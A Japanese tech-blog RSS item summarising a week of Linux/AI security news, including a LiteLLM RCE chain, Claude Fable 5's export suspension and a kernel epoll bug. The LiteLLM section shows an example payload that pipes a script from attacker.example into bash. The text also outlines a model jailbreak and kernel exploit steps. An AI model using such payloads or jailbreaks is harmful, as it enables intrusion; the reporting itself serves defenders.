<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Linux-Kernel on 思いつきそうで思いつかなくていたときに</title><link>https://blog.fuga.jp/tags/linux-kernel/</link><description>Recent content in Linux-Kernel on 思いつきそうで思いつかなくていたときに</description><generator>Hugo -- gohugo.io</generator><language>ja</language><copyright>Copyright(c) 2022-2025 SATO Daisuke. All rights reserved.</copyright><lastBuildDate>Mon, 06 Jul 2026 00:00:00 +0900</lastBuildDate><atom:link href="https://blog.fuga.jp/tags/linux-kernel/index.xml" rel="self" type="application/rss+xml"/><item><title>AIが乗っ取られ、規制で消え、見逃した——「基盤の点検」を怠ると何が起きるか（2026年7月6日）</title><link>https://blog.fuga.jp/posts/2026-07-06-ai-foundation-check/</link><pubDate>Mon, 06 Jul 2026 00:00:00 +0900</pubDate><guid>https://blog.fuga.jp/posts/2026-07-06-ai-foundation-check/</guid><description>&lt;blockquote>
&lt;p>この記事は、2026年7月6日（月）公開の動画「AIが乗っ取られ AIが規制で消え AIが見逃した 層は違えど根っこは一つ AIも人も 基盤の点検を怠れば代償を払う 2026年07月06日(月)」を中心に、特に注目したいポイントをピックアップして解説したものです。&lt;/p>&lt;/blockquote>
&lt;div class="video-wrapper">
&lt;iframe loading="lazy"
src="https://www.youtube.com/embed/4BN8KPxdfB8"
allowfullscreen
title="YouTube Video"
>
&lt;/iframe>
&lt;/div>
&lt;p>今週の Linux/OSS シーンは、「AI」という言葉が三度、まったく違う顔で登場した。 &lt;strong>AI が乗っ取られ&lt;/strong> （LiteLLM ゲートウェイへの認証不要 RCE）、 &lt;strong>AI が規制で消え&lt;/strong> （Claude Fable 5 の輸出規制）、そして &lt;strong>AI が見逃した&lt;/strong> （AI が発見したバグの隣に、AI が見つけられなかったカーネルの穴があった）。&lt;/p>
&lt;p>一見バラバラなこれらのニュースは、動画のタイトルが言い当てているとおり、根っこが一つだ—— &lt;strong>「基盤（土台）の点検を怠れば、代償を払う」&lt;/strong> 。AI ゲートウェイ、フロンティアモデルの安全評価、9か月でサポートが切れる OS、インストーラーの作り直し、そして3年間メインラインに眠っていたカーネルの競合状態。層は違っても、点検を怠った基盤がどう牙をむくかという一点で、すべてがつながる。強→中→弱→中→強の順で、密度高く見ていこう。&lt;/p>
&lt;hr>
&lt;h2 id="1-litellm-cve-2026-42271--aiゲートウェイを認証ゼロで乗っ取る-cvss-10-の攻撃チェーン">&lt;a href="#1-litellm-cve-2026-42271--ai%e3%82%b2%e3%83%bc%e3%83%88%e3%82%a6%e3%82%a7%e3%82%a4%e3%82%92%e8%aa%8d%e8%a8%bc%e3%82%bc%e3%83%ad%e3%81%a7%e4%b9%97%e3%81%a3%e5%8f%96%e3%82%8b-cvss-10-%e3%81%ae%e6%94%bb%e6%92%83%e3%83%81%e3%82%a7%e3%83%bc%e3%83%b3" class="header-anchor">&lt;/a>1. LiteLLM CVE-2026-42271 — AIゲートウェイを「認証ゼロ」で乗っ取る CVSS 10 の攻撃チェーン
&lt;/h2>&lt;h3 id="概要">&lt;a href="#%e6%a6%82%e8%a6%81" class="header-anchor">&lt;/a>概要
&lt;/h3>&lt;p>まず飛び込んでくるのが、AI インフラの「要」を直撃する脆弱性だ。GitHub で &lt;strong>1万5千スター&lt;/strong> を超えるオープンソースの AI ゲートウェイ &lt;strong>LiteLLM&lt;/strong> に、認証なしで任意コマンドを実行できる &lt;strong>CVSS 10.0&lt;/strong> の攻撃チェーンが成立した。単体では CVSS 8.7 のコマンドインジェクション &lt;strong>CVE-2026-42271&lt;/strong> と、CVSS 6.5 の Starlette ホストヘッダーバイパス &lt;strong>CVE-2026-48710&lt;/strong> （通称 &amp;ldquo;BadHost&amp;rdquo;）——この2つを連鎖させると、最大値の 10.0 になる。CISA は2026年6月8日に KEV（既知悪用脆弱性）カタログへ登録し、その後も野生での悪用が続いている。&lt;/p>
&lt;h3 id="技術詳細">&lt;a href="#%e6%8a%80%e8%a1%93%e8%a9%b3%e7%b4%b0" class="header-anchor">&lt;/a>技術詳細
&lt;/h3>&lt;p>LiteLLM は OpenAI・Anthropic・Google・Azure など複数の LLM プロバイダーへの統一インターフェースを提供するプロキシで、コスト管理・レート制限・ログ収集を一手に引き受ける。裏を返せば、 &lt;strong>すべてのプロバイダーの API キーがここに集約されている&lt;/strong> 。攻撃者にとっては「AI の金庫室」を一撃で狙える標的だ。&lt;/p>
&lt;p>1本目の穴、 &lt;strong>CVE-2026-42271&lt;/strong> は、MCP サーバー設定をテストするためのエンドポイント（&lt;code>POST /mcp-rest/test/connection&lt;/code> と &lt;code>POST /mcp-rest/test/tools/list&lt;/code>）にある。これらはリクエストボディの &lt;code>command&lt;/code>・&lt;code>args&lt;/code>・&lt;code>env&lt;/code> を検証もサンドボックス化もせず、そのままプロキシホスト上でサブプロセスとして実行してしまう。たとえば &lt;code>command&lt;/code> に &lt;code>/bin/bash&lt;/code>、&lt;code>args&lt;/code> に &lt;code>[&amp;quot;-c&amp;quot;, &amp;quot;curl http://attacker.example/shell.sh | bash&amp;quot;]&lt;/code> を指定した JSON を送るだけで、リバースシェルが起動する。対象は LiteLLM &lt;strong>1.74.2〜1.83.6&lt;/strong> 、修正版は &lt;strong>1.83.7&lt;/strong> 以降だ。&lt;/p>
&lt;p>ただし、このエンドポイントは本来「有効なプロキシ API キーがある認証済みユーザー」だけが叩けるはずだった。そこで効いてくるのが2本目、 &lt;strong>CVE-2026-48710 &amp;ldquo;BadHost&amp;rdquo;&lt;/strong> だ。Starlette v1.0.0 以下では、HTTP リクエストの &lt;code>Host&lt;/code> ヘッダーが &lt;code>request.url&lt;/code> を再構築する前に適切に検証されない。ルーティングは生の HTTP パスを見るのに、&lt;code>request.url.path&lt;/code> は Host ヘッダーから作り直される——この乖離を突くと、パスベースの認証ミドルウェアに「実際とは違うパス」を見せて認証チェックを丸ごとスキップできる。しかもこのバイパスは &lt;strong>「1文字の操作」&lt;/strong> で成立するというシンプルさだ。&lt;/p>
&lt;p>攻撃チェーン全体はこうなる。細工した Host ヘッダー付きの POST を送る → BadHost で認証ミドルウェアが別パスを参照し認証をスキップ → テストエンドポイントに到達 → コマンドインジェクションでホスト上の任意コマンドが走る。 &lt;strong>認証情報ゼロでサーバー乗っ取り完了&lt;/strong> だ。8.7 と 6.5 という「単体ではそこそこ」の脆弱性が、合わさると最大値 10.0 になる非線形さがこの一件の怖さを物語る。&lt;/p>
&lt;h3 id="なぜ重要かエンジニア視点">&lt;a href="#%e3%81%aa%e3%81%9c%e9%87%8d%e8%a6%81%e3%81%8b%e3%82%a8%e3%83%b3%e3%82%b8%e3%83%8b%e3%82%a2%e8%a6%96%e7%82%b9" class="header-anchor">&lt;/a>なぜ重要か（エンジニア視点）
&lt;/h3>&lt;p>見逃せないのは、LiteLLM がこの約1か月前にも別の深刻な脆弱性（SQL インジェクション、CVSS 9.3）を抱え、公開からわずか &lt;strong>36時間&lt;/strong> で野生での悪用が確認されていたことだ。 &lt;strong>「LiteLLM は連続して狙われている」&lt;/strong> という文脈がある。AI ブームでインフラの中心に据えられたコンポーネントほど、攻撃者の視線が集中する。&lt;/p>
&lt;p>BadHost の影響は LiteLLM にとどまらない。Starlette を依存に持つ FastAPI・vLLM・MCP サーバー・エージェントハーネス・評価ダッシュボードなど、広範な Python ASGI アプリが同じバイパスの射程に入る。「うちは LiteLLM を使っていないから無関係」とは言い切れない。&lt;/p>
&lt;p>&lt;strong>対応の優先順位&lt;/strong> はシンプルだ。まず &lt;code>pip install &amp;quot;litellm&amp;gt;=1.83.7&amp;quot; &amp;quot;starlette&amp;gt;=1.0.1&amp;quot;&lt;/code>（uv なら &lt;code>uv add&lt;/code>）でパッチを当てる。即時対応が難しければ、リバースプロキシで &lt;code>/mcp-rest/test/*&lt;/code> への POST をブロックし、LiteLLM をインターネットに露出させないこと。そして侵害を想定するなら、集約されている &lt;strong>全プロバイダーの API キーをローテーション&lt;/strong> する。金庫室の鍵は、覗かれたと思ったら全部替えるのが鉄則だ。&lt;/p>
&lt;hr>
&lt;h2 id="2-claude-fable-5--米輸出規制からわずか19日で復帰した前例なき事態">&lt;a href="#2-claude-fable-5--%e7%b1%b3%e8%bc%b8%e5%87%ba%e8%a6%8f%e5%88%b6%e3%81%8b%e3%82%89%e3%82%8f%e3%81%9a%e3%81%8b19%e6%97%a5%e3%81%a7%e5%be%a9%e5%b8%b0%e3%81%97%e3%81%9f%e5%89%8d%e4%be%8b%e3%81%aa%e3%81%8d%e4%ba%8b%e6%85%8b" class="header-anchor">&lt;/a>2. Claude Fable 5 — 米輸出規制からわずか19日で復帰した「前例なき事態」
&lt;/h2>&lt;h3 id="概要-1">&lt;a href="#%e6%a6%82%e8%a6%81-1" class="header-anchor">&lt;/a>概要
&lt;/h3>&lt;p>続いては、AI が「規制で消えた」話だ。Anthropic が2026年6月9日に公開した最上位モデル &lt;strong>Claude Fable 5&lt;/strong> は、公開からわずか3日後の6月12日、米商務省の輸出規制指令を受けて &lt;strong>グローバルアクセスを全停止&lt;/strong> した。Anthropic は専用のサイバーセキュリティ分類器を追加訓練し、6月30日の規制解除を経て7月1日に提供を再開する。規制発動から解除まで &lt;strong>18〜19日間&lt;/strong> という異例の速さで決着したが、AI 安全評価と政府介入のあり方をめぐる問いを業界に残した。&lt;/p>
&lt;h3 id="技術詳細-1">&lt;a href="#%e6%8a%80%e8%a1%93%e8%a9%b3%e7%b4%b0-1" class="header-anchor">&lt;/a>技術詳細
&lt;/h3>&lt;p>きっかけは、Amazon の研究者が見つけたプロンプト技法だった。「特定のコードベースを読み込み、ソフトウェアの欠陥を修正せよ」と指示する構造で、これにより Fable 5 は既知の軽微な脆弱性を数件指摘し、うち1件では &lt;strong>エクスプロイトコードを生成&lt;/strong> してしまった。Anthropic は同等の動作が自社の弱いモデル（Claude Opus 4.8）を含む複数の他社モデルでも再現されることを確認し、これを &lt;strong>「狭義の非普遍的なジェイルブレイク」&lt;/strong> と分類している。&lt;/p>
&lt;p>対応策の核心は、報告された動作パターンを標的にした専用の安全分類器を追加訓練したことだ。この分類器は問題の手法を &lt;strong>「99%超のケースでブロック」&lt;/strong> するとされる。面白いのはトリガー時の挙動で、リクエストを一律拒否するのではなく、より弱い Claude Opus 4.8 へ &lt;strong>自動フォールバック&lt;/strong> し、ユーザーに通知が届く仕組みになっている。Anthropic はモデルの拒否訓練・事後の悪用解析・自動分類器の三重構造を「防御の多層化（defense in depth）」と表現した。ただし、この分類器は通常のコーディングやデバッグでも &lt;strong>誤検知（false positive）&lt;/strong> が増える副作用があり、継続的な調整が要るという。&lt;/p>
&lt;p>さらに Anthropic は、ジェイルブレイクの深刻度を測る業界横断のスコアリング枠組みも提案した。（1）既存ツールを超える能力向上、（2）解放される攻撃的タスクの広さ、（3）武器化の容易さ、（4）手法の発見容易性——この4基準で評価する。フロンティア AI に標準化されたリスク評価基準がないという業界の空白を、自ら埋めにいく動きだ。&lt;/p>
&lt;h3 id="なぜ重要かエンジニア視点-1">&lt;a href="#%e3%81%aa%e3%81%9c%e9%87%8d%e8%a6%81%e3%81%8b%e3%82%a8%e3%83%b3%e3%82%b8%e3%83%8b%e3%82%a2%e8%a6%96%e7%82%b9-1" class="header-anchor">&lt;/a>なぜ重要か（エンジニア視点）
&lt;/h3>&lt;p>技術的な緩和策以上に重いのが、 &lt;strong>政府介入の前例&lt;/strong> としての意味だ。米商務省はこれまでも AI チップの輸出規制を敷いてきたが、モデルウェイトや API アクセスそのものへの直接規制は前例がなく、今回が事実上の先例になる。二重用途技術を扱う枠組みを「ソフトウェアとしての大規模言語モデル」に適用した、という点で新しいフェーズだ。&lt;/p>
&lt;p>規制解除にあたり Anthropic は、（1）自発的なセキュリティ問題の探索、（2）将来のモデルローンチ時の事前調整、（3）悪用発見時の報告、という三条件を受け入れた。とりわけ &lt;strong>「将来のローンチ前に政府と相談する」&lt;/strong> という条件は、ソフトウェアリリースへの事実上の事前審査制の萌芽として業界に受け止められている。多数の研究者・起業家・企業幹部が「AI リスク評価の開放的・科学的・透明なプロセス」を求める公開書簡を出したのも、この構造への危機感の表れだ。私たちが日々叩く API の向こう側で、「誰がどの基準でモデルを止められるのか」という統治のルールがまさに書かれつつある。&lt;/p>
&lt;hr>
&lt;h2 id="3-ubuntu-2510-questing-quokka--7月9日-eol猶予はあと3日">&lt;a href="#3-ubuntu-2510-questing-quokka--7%e6%9c%889%e6%97%a5-eol%e7%8c%b6%e4%ba%88%e3%81%af%e3%81%82%e3%81%a83%e6%97%a5" class="header-anchor">&lt;/a>3. Ubuntu 25.10 &amp;ldquo;Questing Quokka&amp;rdquo; — 7月9日 EOL、猶予はあと3日
&lt;/h2>&lt;h3 id="概要-2">&lt;a href="#%e6%a6%82%e8%a6%81-2" class="header-anchor">&lt;/a>概要
&lt;/h3>&lt;p>ここで一息、堅実な保守運用の話題を挟もう。 &lt;strong>Ubuntu 25.10 &amp;ldquo;Questing Quokka&amp;rdquo;&lt;/strong> が2026年7月9日（木）に &lt;strong>サポート終了（EOL）&lt;/strong> を迎える。以降はセキュリティパッチもバグ修正もドライバー更新も一切提供されない。25.10 は2025年10月にリリースされた「インタリム（中間）リリース」で、LTS ではないためサポートは標準の &lt;strong>9か月&lt;/strong> どおり——7月9日は最初から決まっていた終了日だ。&lt;/p>
&lt;h3 id="技術詳細-2">&lt;a href="#%e6%8a%80%e8%a1%93%e8%a9%b3%e7%b4%b0-2" class="header-anchor">&lt;/a>技術詳細
&lt;/h3>&lt;p>短命なインタリムリリースとはいえ、25.10 は次期 LTS への布石として重要な新機能を先行搭載していた。デスクトップが &lt;strong>Wayland 専用&lt;/strong> となり、Ubuntu として初めて「X.org セッションが消えた」バージョンになったこと。&lt;code>sudo&lt;/code> の実装が C 言語から Rust 製の &lt;strong>sudo-rs&lt;/strong> （v0.2.8）へ置き換わり、メモリ安全性の観点で注目を集めたこと。初期 RAM ディスクがデスクトップ版で &lt;code>initramfs-tools&lt;/code> から &lt;strong>Dracut&lt;/strong> へ移行したこと。依存解決に &lt;strong>APT 3.1&lt;/strong> の新ソルバーが入り &lt;code>apt why&lt;/code> が追加されたこと。NTP クライアントが &lt;code>systemd-timesyncd&lt;/code> から NTS 対応の &lt;strong>Chrony&lt;/strong> （v4.7）へ切り替わったこと——。カーネルは 6.17、GNOME は 49 を採用している。&lt;/p>
&lt;p>これらはすべて、次世代 LTS である &lt;strong>26.04&lt;/strong> に向けた「実地試験」だった。新機能を9か月間かけて広いユーザー層に試させ、問題を洗い出してから LTS に取り込む——Canonical の伝統的な開発サイクルそのものだ。&lt;/p>
&lt;h3 id="なぜ重要かエンジニア視点-2">&lt;a href="#%e3%81%aa%e3%81%9c%e9%87%8d%e8%a6%81%e3%81%8b%e3%82%a8%e3%83%b3%e3%82%b8%e3%83%8b%e3%82%a2%e8%a6%96%e7%82%b9-2" class="header-anchor">&lt;/a>なぜ重要か（エンジニア視点）
&lt;/h3>&lt;p>EOL 後に起こりうるリスクは具体的だ。新しい CVE に公式修正が出ない。PPA やサードパーティリポジトリが止まり &lt;code>apt update&lt;/code> で依存が壊れる。クラウド AMI や Docker Hub の公式イメージ更新も停止する。インタリムリリースはそもそも検証・開発用途向けで、本番運用は推奨されていない。&lt;/p>
&lt;p>対応は素直で、&lt;code>sudo apt update &amp;amp;&amp;amp; sudo apt full-upgrade&lt;/code> で足場を固めてから &lt;code>sudo do-release-upgrade&lt;/code> を実行する。移行先の &lt;strong>Ubuntu 26.04 LTS &amp;ldquo;Resolute Raccoon&amp;rdquo;&lt;/strong> は2026年4月にリリース済みで、サポートは5年（Ubuntu Pro なら ESM で最大10年）だ。「基盤の点検を怠れば代償を払う」——このテーマがもっとも日常的な形で現れるのが、EOL の見落としだ。カレンダーに印を付けておこう。&lt;/p>
&lt;hr>
&lt;h2 id="4-arch-linux-20260701-iso--kernel-7014-と親切になった-archinstall-44">&lt;a href="#4-arch-linux-20260701-iso--kernel-7014-%e3%81%a8%e8%a6%aa%e5%88%87%e3%81%ab%e3%81%aa%e3%81%a3%e3%81%9f-archinstall-44" class="header-anchor">&lt;/a>4. Arch Linux 2026.07.01 ISO — Kernel 7.0.14 と、親切になった ArchInstall 4.4
&lt;/h2>&lt;h3 id="概要-3">&lt;a href="#%e6%a6%82%e8%a6%81-3" class="header-anchor">&lt;/a>概要
&lt;/h3>&lt;p>保守運用の谷から、前向きなアップデートへ。Arch Linux の7月度定期 ISO &lt;strong>2026.07.01&lt;/strong> がリリースされた。目玉は Linux カーネル &lt;strong>7.0.14&lt;/strong> と、Textual ライブラリ製のフル TUI インストーラー &lt;strong>ArchInstall 4.4&lt;/strong> の同梱だ。LUKS2 対応、カラーコード化した設定プレビュー、IWD 単独選択など、新規インストール体験が大きく刷新された。&lt;/p>
&lt;h3 id="技術詳細-3">&lt;a href="#%e6%8a%80%e8%a1%93%e8%a9%b3%e7%b4%b0-3" class="header-anchor">&lt;/a>技術詳細
&lt;/h3>&lt;p>ISO にはデフォルトカーネル 7.0.14、LTS 系 6.18.37、systemd 261.1、GCC 16.1.1、glibc 2.43、Python &lt;strong>3.14.6&lt;/strong> などが収録される。デスクトップ環境は KDE Plasma 6.7.1、GNOME 50.3、System76 の COSMIC Desktop 1.1。ローリングリリースらしく、上から下まで最新で固めた構成だ。&lt;/p>
&lt;p>今回の主役は &lt;strong>ArchInstall 4.4&lt;/strong> だ。「玄人向けで不親切」と言われがちだった Arch のインストーラーが、次の改善で一気に親しみやすくなった。&lt;/p>
&lt;ol>
&lt;li>&lt;strong>カラーコード化された設定プレビュー&lt;/strong> ——エラーは赤、警告は黄、設定完了は緑。「ディスクに書き込む前に気づける」体験になった。&lt;/li>
&lt;li>&lt;strong>LUKS2 フルディスク暗号化&lt;/strong> ——独自の暗号スイートを選べ、パスフレーズのハッシュはデフォルトで yescrypt。EFI パーティションの権限も fmask/dmask=0077 で強化された。&lt;/li>
&lt;li>&lt;strong>IWD スタンドアロン対応&lt;/strong> ——IWD をネットワークマネージャーと分離して単独選択できるようになった。&lt;/li>
&lt;li>&lt;strong>ログ共有機能&lt;/strong> —— &lt;code>archinstall share-log&lt;/code> でインストールログを paste.rs へ自動アップロードし、サポートフォーラムへの貼り付けが楽になった。&lt;/li>
&lt;li>&lt;strong>バグ修正&lt;/strong> —— sway+NVIDIA の無限ループ、bspwm の黒画面問題を修正。&lt;/li>
&lt;/ol>
&lt;p>ちょっとした豆知識も添えておきたい。実はカーネル &lt;strong>7.0 系は6月27日に Greg Kroah-Hartman によって EOL 宣言済み&lt;/strong> で、7.0.14 はその直前の最終安定版だ。「最新を追う Arch がなぜ EOL カーネルを?」と思うかもしれないが、月次スナップショットのサイクル上、EOL 宣言直後の ISO にたまたま最終版が乗っただけ。既存ユーザーは &lt;code>pacman -Syu&lt;/code> で後継カーネルへ自動移行できる。&lt;/p>
&lt;h3 id="なぜ重要かエンジニア視点-3">&lt;a href="#%e3%81%aa%e3%81%9c%e9%87%8d%e8%a6%81%e3%81%8b%e3%82%a8%e3%83%b3%e3%82%b8%e3%83%8b%e3%82%a2%e8%a6%96%e7%82%b9-3" class="header-anchor">&lt;/a>なぜ重要か（エンジニア視点）
&lt;/h3>&lt;p>このリリースが直接効くのは &lt;strong>新規に Arch をインストールするユーザー&lt;/strong> だ。既存ユーザーはローリングリリースの恩恵で &lt;code>pacman -Syu&lt;/code> を回すだけで同等の更新を受け取れる。ArchInstall 4.4 の改善は特に、誤設定のままインストールが走るリスクを減らしたい初心者・再インストール派、追加設定なしで堅牢な暗号化ディスクを組みたいセキュリティ意識の高いユーザー、そして IWD 周りの修正が効く Wi-Fi 環境のユーザーに恩恵をもたらす。&lt;/p>
&lt;p>LiteLLM や後述の Bad Epoll が「点検を怠った基盤が牙をむく」話だとすれば、ArchInstall 4.4 は逆向きだ。「ディスクに書き込む前に、色で気づかせる」——点検を仕組みで支援する、地味だが正しい前進である。&lt;/p>
&lt;hr>
&lt;h2 id="5-bad-epoll-cve-2026-46242--3年間眠っていた-epoll-の穴が99の確率で-root-を渡す">&lt;a href="#5-bad-epoll-cve-2026-46242--3%e5%b9%b4%e9%96%93%e7%9c%a0%e3%81%a3%e3%81%a6%e3%81%84%e3%81%9f-epoll-%e3%81%ae%e7%a9%b4%e3%81%8c99%e3%81%ae%e7%a2%ba%e7%8e%87%e3%81%a7-root-%e3%82%92%e6%b8%a1%e3%81%99" class="header-anchor">&lt;/a>5. &amp;ldquo;Bad Epoll&amp;rdquo; CVE-2026-46242 — 3年間眠っていた epoll の穴が、99%の確率で root を渡す
&lt;/h2>&lt;h3 id="概要-4">&lt;a href="#%e6%a6%82%e8%a6%81-4" class="header-anchor">&lt;/a>概要
&lt;/h3>&lt;p>最後は、今週いちばん重い話だ。2026年7月3日に公開された Linux カーネルの epoll サブシステムの UAF（Use-After-Free）脆弱性 &lt;strong>CVE-2026-46242 &amp;ldquo;Bad Epoll&amp;rdquo;&lt;/strong> 。カーネル &lt;strong>6.4 以降&lt;/strong> が動くサーバー・デスクトップ・Android 端末すべてで、非特権ユーザーが公開 PoC を使って &lt;strong>約99%の成功率&lt;/strong> で root 権限を奪取できる。しかも &lt;strong>ワークアラウンドは存在しない&lt;/strong> 。そして——動画タイトルの「AI が見逃した」がここで回収される。Anthropic の AI モデル Mythos が同じコードブロックの隣接バグを発見しながら、この脆弱性は &lt;strong>すり抜けた&lt;/strong> のだ。&lt;/p>
&lt;h3 id="技術詳細-4">&lt;a href="#%e6%8a%80%e8%a1%93%e8%a9%b3%e7%b4%b0-4" class="header-anchor">&lt;/a>技術詳細
&lt;/h3>&lt;p>根本原因は &lt;code>ep_remove()&lt;/code> 関数の競合状態にある。この関数は &lt;code>file-&amp;gt;f_lock&lt;/code> を保持しながら &lt;code>file-&amp;gt;f_ep&lt;/code> ポインタを NULL にクリアするが、その後も同じ &lt;code>file&lt;/code> オブジェクトを参照し続ける。その隙に別スレッドから &lt;code>__fput()&lt;/code> が並行して呼ばれると、&lt;code>__fput()&lt;/code> は &lt;code>f_ep&lt;/code> が NULL なのを見て「もう解放済み」と誤認し、本来スキップすべきでない解放処理へ進んでしまう。結果、まだ使用中の &lt;code>struct eventpoll&lt;/code> がメモリから解放され、UAF が発生してカーネルメモリが破損する。&lt;/p>
&lt;p>タイムラインが示唆に富む。 &lt;strong>脆弱性の混入は2023年4月8日&lt;/strong> （commit &lt;code>58c9b016e128&lt;/code>）、 &lt;strong>修正は2026年4月24日&lt;/strong> （commit &lt;code>a6dc643c6931&lt;/code>）、 &lt;strong>一般公開は2026年7月3日&lt;/strong> 。実質同一のコミットが2つの競合状態を約2,500行の epoll コードに埋め込み、 &lt;strong>3年近くメインラインに残り続けた&lt;/strong> 。CVSS 3.1 スコアは 7.8（ローカル権限昇格）だ。&lt;/p>
&lt;p>エクスプロイトは、Seoul National University CompSec Lab の PhD 研究者 Jaeyoung Chung が Google kernelCTF へのゼロデイ提出として開発した。4つの epoll オブジェクトを2ペアに分け、片方で競合を発火——その競合ウィンドウは &lt;strong>わずか6機械語命令分&lt;/strong> の幅しかない——&lt;code>SLAB_TYPESAFE_BY_RCU&lt;/code> を悪用したクロスキャッシュ攻撃で UAF を拡大し、&lt;code>/proc/self/fdinfo&lt;/code> 経由で任意のカーネルメモリ読み取りを確立、最後に ROP チェーンで root シェルを取る。この一連が &lt;code>lts-6.12.67&lt;/code> などのターゲットで &lt;strong>約99%成功&lt;/strong> する。通常の race 系エクスプロイトは数%〜数十%がせいぜいなのに、だ。「ほぼ確実に root が取れる race」という異常さが、この脆弱性の格を決めている。&lt;/p>
&lt;p>長期間見落とされた背景には、カーネルのメモリエラー検出器 &lt;strong>KASAN がほとんどヒットしない&lt;/strong> という事情がある。競合ウィンドウが極端に狭いため、通常のファジングでも静的解析でも再現しにくい。そして——同じコミットに潜む2本の競合状態のうち、1本目は Anthropic の最上位 AI モデル &lt;strong>Mythos&lt;/strong> が2026年前半に発見して修正までこぎつけた。だが並存していた2本目（本件 CVE-2026-46242）は Mythos をすり抜けた。 &lt;strong>「AI が見つけたバグの隣に、AI が見つけられなかったバグがあった」&lt;/strong> ——この事実は、AI によるコード審査の可能性と限界を同時に突きつける。（なお、1本目の脆弱性は &lt;strong>CVE-2026-43074&lt;/strong> として2026年4月2日に修正されている。）&lt;/p>
&lt;h3 id="なぜ重要かエンジニア視点-4">&lt;a href="#%e3%81%aa%e3%81%9c%e9%87%8d%e8%a6%81%e3%81%8b%e3%82%a8%e3%83%b3%e3%82%b8%e3%83%8b%e3%82%a2%e8%a6%96%e7%82%b9-4" class="header-anchor">&lt;/a>なぜ重要か（エンジニア視点）
&lt;/h3>&lt;p>epoll は Web サーバー・データベース・ブラウザ・ネットワークサービスのほぼすべてが依存する、カーネルのイベント通知 API だ。 &lt;strong>epoll を無効化する手段は存在しない&lt;/strong> 。つまり脆弱なカーネルを使っている限り、緩和策はなく、 &lt;strong>パッチ適用が唯一の対策&lt;/strong> になる。影響は Linux サーバー・デスクトップに加え、Linux 6.6 以降を積む &lt;strong>Android 端末&lt;/strong> （Pixel 10 シリーズ等）にも及ぶ。逆に、コミット &lt;code>58c9b016e128&lt;/code> を含まない &lt;strong>6.1 ベース&lt;/strong> のシステム（Pixel 8 や Pixel 9 など）は対象外だ。さらに Chrome のレンダラーサンドボックス内からも実行可能で、サンドボックス脱出への応用が指摘されている——ブラウザを開いているだけで潜在リスクがある、というわけだ。&lt;/p>
&lt;p>そして最大の教訓が、パッチのタイムラインにある。 &lt;strong>修正は4月にマージ済みなのに、多くのシステムにはまだ適用されていない&lt;/strong> 。「すでに直っているのに、まだ危ない」——これが Linux セキュリティ運用の難しさの核心だ。&lt;/p>
&lt;p>対応は最優先でカーネル更新。Ubuntu/Debian は &lt;code>sudo apt update &amp;amp;&amp;amp; sudo apt upgrade linux-image-generic&lt;/code>、RHEL 系は &lt;code>sudo dnf update kernel&lt;/code>、Arch は &lt;code>sudo pacman -Syu linux&lt;/code>、いずれも更新後に再起動する。現在のカーネルは &lt;code>uname -r&lt;/code> で確認できる。Android は OEM や MDM 経由のセキュリティ更新を、スケジュールを待たず即時適用したい。なお CISA の KEV には7月6日時点で未掲載、実運用での悪用事例もまだ報告されていない——が、公開 PoC が出ている以上、猶予は長くないと考えるべきだ。&lt;/p>
&lt;hr>
&lt;h2 id="まとめ">&lt;a href="#%e3%81%be%e3%81%a8%e3%82%81" class="header-anchor">&lt;/a>まとめ
&lt;/h2>&lt;p>今週の5つのトピックは、動画タイトルの三段構えを軸に、2本の線へ収束する。&lt;/p>
&lt;p>&lt;strong>1本目は「AI という新しい基盤の点検」だ。&lt;/strong> LiteLLM は、AI ゲートウェイという生まれたばかりの重要インフラが、認証ゼロで乗っ取られる現実を見せた。Claude Fable 5 は、フロンティアモデルの安全評価と政府介入という、まだ誰も正解を持たない統治の問題を突きつけた。そして Bad Epoll では、AI がコード審査で「隣のバグ」を見逃した。攻撃対象としての AI、規制対象としての AI、審査者としての AI——どの顔でも、AI という基盤はまだ点検の途上にある。&lt;/p>
&lt;p>&lt;strong>2本目は「古くからある基盤の、地道な点検」だ。&lt;/strong> Ubuntu の EOL は、サポート期限というもっとも日常的な基盤点検を思い出させる。Arch の ArchInstall 4.4 は、「書き込む前に色で気づかせる」という点検の仕組み化だ。そして Bad Epoll は、3年前に埋め込まれ4月に直ったのにまだ適用されていない——「直っているのに危ない」という、点検と適用のあいだに横たわる溝を映し出す。&lt;/p>
&lt;p>新しかろうが古かろうが、AI だろうが人だろうが、 &lt;strong>基盤の点検を怠れば代償を払う&lt;/strong> 。派手な乗っ取りも、静かな EOL も、根っこは同じだ。今日できる点検——パッチを当てる、EOL を確認する、鍵をローテーションする——を、明日に回さないことにしよう。&lt;/p>
&lt;hr>
&lt;h2 id="一次情報参考リンク">&lt;a href="#%e4%b8%80%e6%ac%a1%e6%83%85%e5%a0%b1%e5%8f%82%e8%80%83%e3%83%aa%e3%83%b3%e3%82%af" class="header-anchor">&lt;/a>一次情報・参考リンク
&lt;/h2>&lt;h3 id="1-litellm-cve-2026-42271--cve-2026-48710">&lt;a href="#1-litellm-cve-2026-42271--cve-2026-48710" class="header-anchor">&lt;/a>1. LiteLLM CVE-2026-42271 / CVE-2026-48710
&lt;/h3>&lt;ul>
&lt;li>&lt;a class="link" href="https://thehackernews.com/2026/06/litellm-flaw-cve-2026-42271-exploited.html" target="_blank" rel="noopener"
>The Hacker News — LiteLLM Flaw CVE-2026-42271 Exploited in the Wild&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://horizon3.ai/attack-research/vulnerabilities/cve-2026-42271-chained-with-cve-2026-48710/" target="_blank" rel="noopener"
>Horizon3.ai — CVE-2026-42271 Chained with CVE-2026-48710&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" target="_blank" rel="noopener"
>CISA — Known Exploited Vulnerabilities Catalog&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://badhost.org/" target="_blank" rel="noopener"
>BadHost（CVE-2026-48710）公式情報&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://www.rescana.com/post/active-exploitation-alert-cve-2026-42271-and-cve-2026-48710-unauthenticated-rce-in-litellm-ai-gateway-via-starlette-host" target="_blank" rel="noopener"
>Rescana — Active Exploitation Alert: CVE-2026-42271 and CVE-2026-48710&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="2-claude-fable-5-輸出規制">&lt;a href="#2-claude-fable-5-%e8%bc%b8%e5%87%ba%e8%a6%8f%e5%88%b6" class="header-anchor">&lt;/a>2. Claude Fable 5 輸出規制
&lt;/h3>&lt;ul>
